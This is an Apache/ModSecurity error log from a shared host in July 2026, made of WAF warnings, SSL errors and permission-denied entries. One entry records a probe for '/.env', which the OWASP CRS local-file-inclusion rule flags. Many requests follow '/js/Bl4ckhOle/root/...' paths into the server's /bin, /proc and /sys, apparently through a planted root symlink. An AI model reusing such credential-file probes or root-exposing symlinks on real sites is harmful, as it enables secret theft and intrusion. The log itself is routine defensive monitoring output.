[Fri Jul 17 09:37:41.135629 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/bzcat"] [unique_id "almqjboj0IkvhSCYadmJhAAAAAQ"]
[Fri Jul 17 09:37:42.680556 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:44.491409 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.110:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory121/node0/memory3/node0/memory20/"] [unique_id "almqkGuF39UwWB2KWdbQyQAAAA8"]
[Fri Jul 17 09:37:44.679066 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:44.788752 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.110:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory121/node0/memory3/node0/memory20/"] [unique_id "almqkGuF39UwWB2KWdbQyQAAAA8"]
[Fri Jul 17 09:37:47.110712 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:1/subsystem/tty20/uevent"] [unique_id "almqkwRRrtuZqNDDSqW3lQAAABo"]
[Fri Jul 17 09:37:47.110774 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:1/subsystem/tty20/uevent"] [unique_id "almqkwRRrtuZqNDDSqW3lQAAABo"]
[Fri Jul 17 09:37:48.413745 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:49.011919 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:44318] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:49.329389 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:44322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:49.636166 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:44346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:49.636331 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.10:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/node0/memory104/node0/memory73/node0/memory116/removable"] [unique_id "almqlVh1WDijTxd1xw5T8wAAAAc"]
[Fri Jul 17 09:37:49.636356 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.10:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/node0/memory104/node0/memory73/node0/memory116/removable"] [unique_id "almqlVh1WDijTxd1xw5T8wAAAAc"]
[Fri Jul 17 09:37:51.045667 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:51.386010 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almql0_0b3nWp8txtSDEsQAAAA0"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:37:51.386061 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almql0_0b3nWp8txtSDEsQAAAA0"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:37:51.551493 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46444] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:53.267060 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:46530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:53.774739 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:46548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:54.757778 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:46568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:55.653315 2026] [security2:error] [pid 2050580:tid 2050580] [client 5.78.140.151:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "osbm.kamechotech.com"] [uri "/"] [unique_id "almqm5gKQioIviBkYdpsqwAAABU"]
[Fri Jul 17 09:37:55.653686 2026] [security2:error] [pid 2050580:tid 2050580] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/"] [unique_id "almqm5gKQioIviBkYdpsqwAAABU"]
[Fri Jul 17 09:37:55.654444 2026] [security2:error] [pid 2050580:tid 2050580] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/index.html"] [unique_id "almqm5gKQioIviBkYdpsqwAAABU"]
[Fri Jul 17 09:37:57.229752 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 57.141.18.71:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory12/node0/memory89/subsystem/devices/memory18/subsystem/drivers_probe
[Fri Jul 17 09:37:58.499684 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:46804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:58.925497 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:59.255525 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/dirmngr"] [unique_id "almqnzsMb3am0TgkjETihwAAAAo"]
[Fri Jul 17 09:37:59.255915 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/dirmngr"] [unique_id "almqnzsMb3am0TgkjETihwAAAAo"]
[Fri Jul 17 09:37:59.256536 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/dirmngr"] [unique_id "almqnzsMb3am0TgkjETihwAAAAo"]
[Fri Jul 17 09:37:59.444120 2026] [security2:error] [pid 2047046:tid 2047046] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dataesit-global": Permission denied [hostname "mail.dataesite.lk"] [uri "/.well-known/acme-challenge/O4O_PT0XH2J563GOKUX8BJJLOE91H36Z"] [unique_id "almqn0_0b3nWp8txtSDEtgAAAA0"]
[Fri Jul 17 09:37:59.444162 2026] [security2:error] [pid 2047046:tid 2047046] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dataesit-ip": Permission denied [hostname "mail.dataesite.lk"] [uri "/.well-known/acme-challenge/O4O_PT0XH2J563GOKUX8BJJLOE91H36Z"] [unique_id "almqn0_0b3nWp8txtSDEtgAAAA0"]
[Fri Jul 17 09:38:00.883796 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:46912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:01.974321 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:02.960006 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:32806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:03.337729 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:32808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:04.513748 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:04.562513 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:07.100342 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:07.606812 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:0/maxchild"] [unique_id "almqp4e39YUk0SgV8AVB-gAAABE"]
[Fri Jul 17 09:38:07.606855 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:0/maxchild"] [unique_id "almqp4e39YUk0SgV8AVB-gAAABE"]
[Fri Jul 17 09:38:08.776407 2026] [security2:error] [pid 1993671:tid 1993671] [client 5.78.140.151:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.osbm.kamechotech.com"] [uri "/"] [unique_id "almqqA5GPQ6hs4VrfMpKAAAAAAY"]
[Fri Jul 17 09:38:08.776739 2026] [security2:error] [pid 1993671:tid 1993671] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.osbm.kamechotech.com"] [uri "/"] [unique_id "almqqA5GPQ6hs4VrfMpKAAAAAAY"]
[Fri Jul 17 09:38:08.777315 2026] [security2:error] [pid 1993671:tid 1993671] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.osbm.kamechotech.com"] [uri "/index.html"] [unique_id "almqqA5GPQ6hs4VrfMpKAAAAAAY"]
[Fri Jul 17 09:38:13.453915 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:16.784081 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ed"] [unique_id "almqsDsMb3am0TgkjETipgAAAAo"]
[Fri Jul 17 09:38:16.784394 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ed"] [unique_id "almqsDsMb3am0TgkjETipgAAAAo"]
[Fri Jul 17 09:38:16.784771 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ed"] [unique_id "almqsDsMb3am0TgkjETipgAAAAo"]
[Fri Jul 17 09:38:17.397477 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:17.667381 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:21.260392 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:21.779434 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:25.188363 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:34936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:27.363215 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:55/subsystem/ttyS3/device/power/control"] [unique_id "almqu4e39YUk0SgV8AVCHAAAABE"]
[Fri Jul 17 09:38:27.363267 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:55/subsystem/ttyS3/device/power/control"] [unique_id "almqu4e39YUk0SgV8AVCHAAAABE"]
[Fri Jul 17 09:38:28.915759 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 57.141.18.9:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory35/subsystem/devices/memory37/subsystem/devices/memory57/subsystem/drivers_probe
[Fri Jul 17 09:38:29.663485 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqvU_0b3nWp8txtSDE5wAAAA0"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:38:29.663542 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqvU_0b3nWp8txtSDE5wAAAA0"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:38:30.586439 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:35234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:31.301546 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:32.201463 2026] [security2:error] [pid 1993671:tid 1993671] [client 203.188.171.53:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "tfab.lk"] [uri "/.env"] [unique_id "almqwA5GPQ6hs4VrfMpKIwAAAAY"]
[Fri Jul 17 09:38:32.201754 2026] [security2:error] [pid 1993671:tid 1993671] [client 203.188.171.53:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tfab.lk"] [uri "/.env"] [unique_id "almqwA5GPQ6hs4VrfMpKIwAAAAY"]
[Fri Jul 17 09:38:32.202032 2026] [security2:error] [pid 1993671:tid 1993671] [client 203.188.171.53:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tfab.lk"] [uri "/.env"] [unique_id "almqwA5GPQ6hs4VrfMpKIwAAAAY"]
[Fri Jul 17 09:38:32.410159 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:32.507626 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:32.901777 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mkfontdir"] [unique_id "almqwK14q1EBnanVMYGsCwAAAAk"]
[Fri Jul 17 09:38:32.902182 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mkfontdir"] [unique_id "almqwK14q1EBnanVMYGsCwAAAAk"]
[Fri Jul 17 09:38:32.902633 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mkfontdir"] [unique_id "almqwK14q1EBnanVMYGsCwAAAAk"]
[Fri Jul 17 09:38:33.568875 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:34.042539 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:34.120104 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:44406] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:34.625171 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:34.814684 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:35.289986 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:35.607326 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:44494] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:38:35.827796 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.47:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory139/node0/memory12/subsystem/drivers_probe
[Fri Jul 17 09:38:36.019185 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:38:36.052153 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
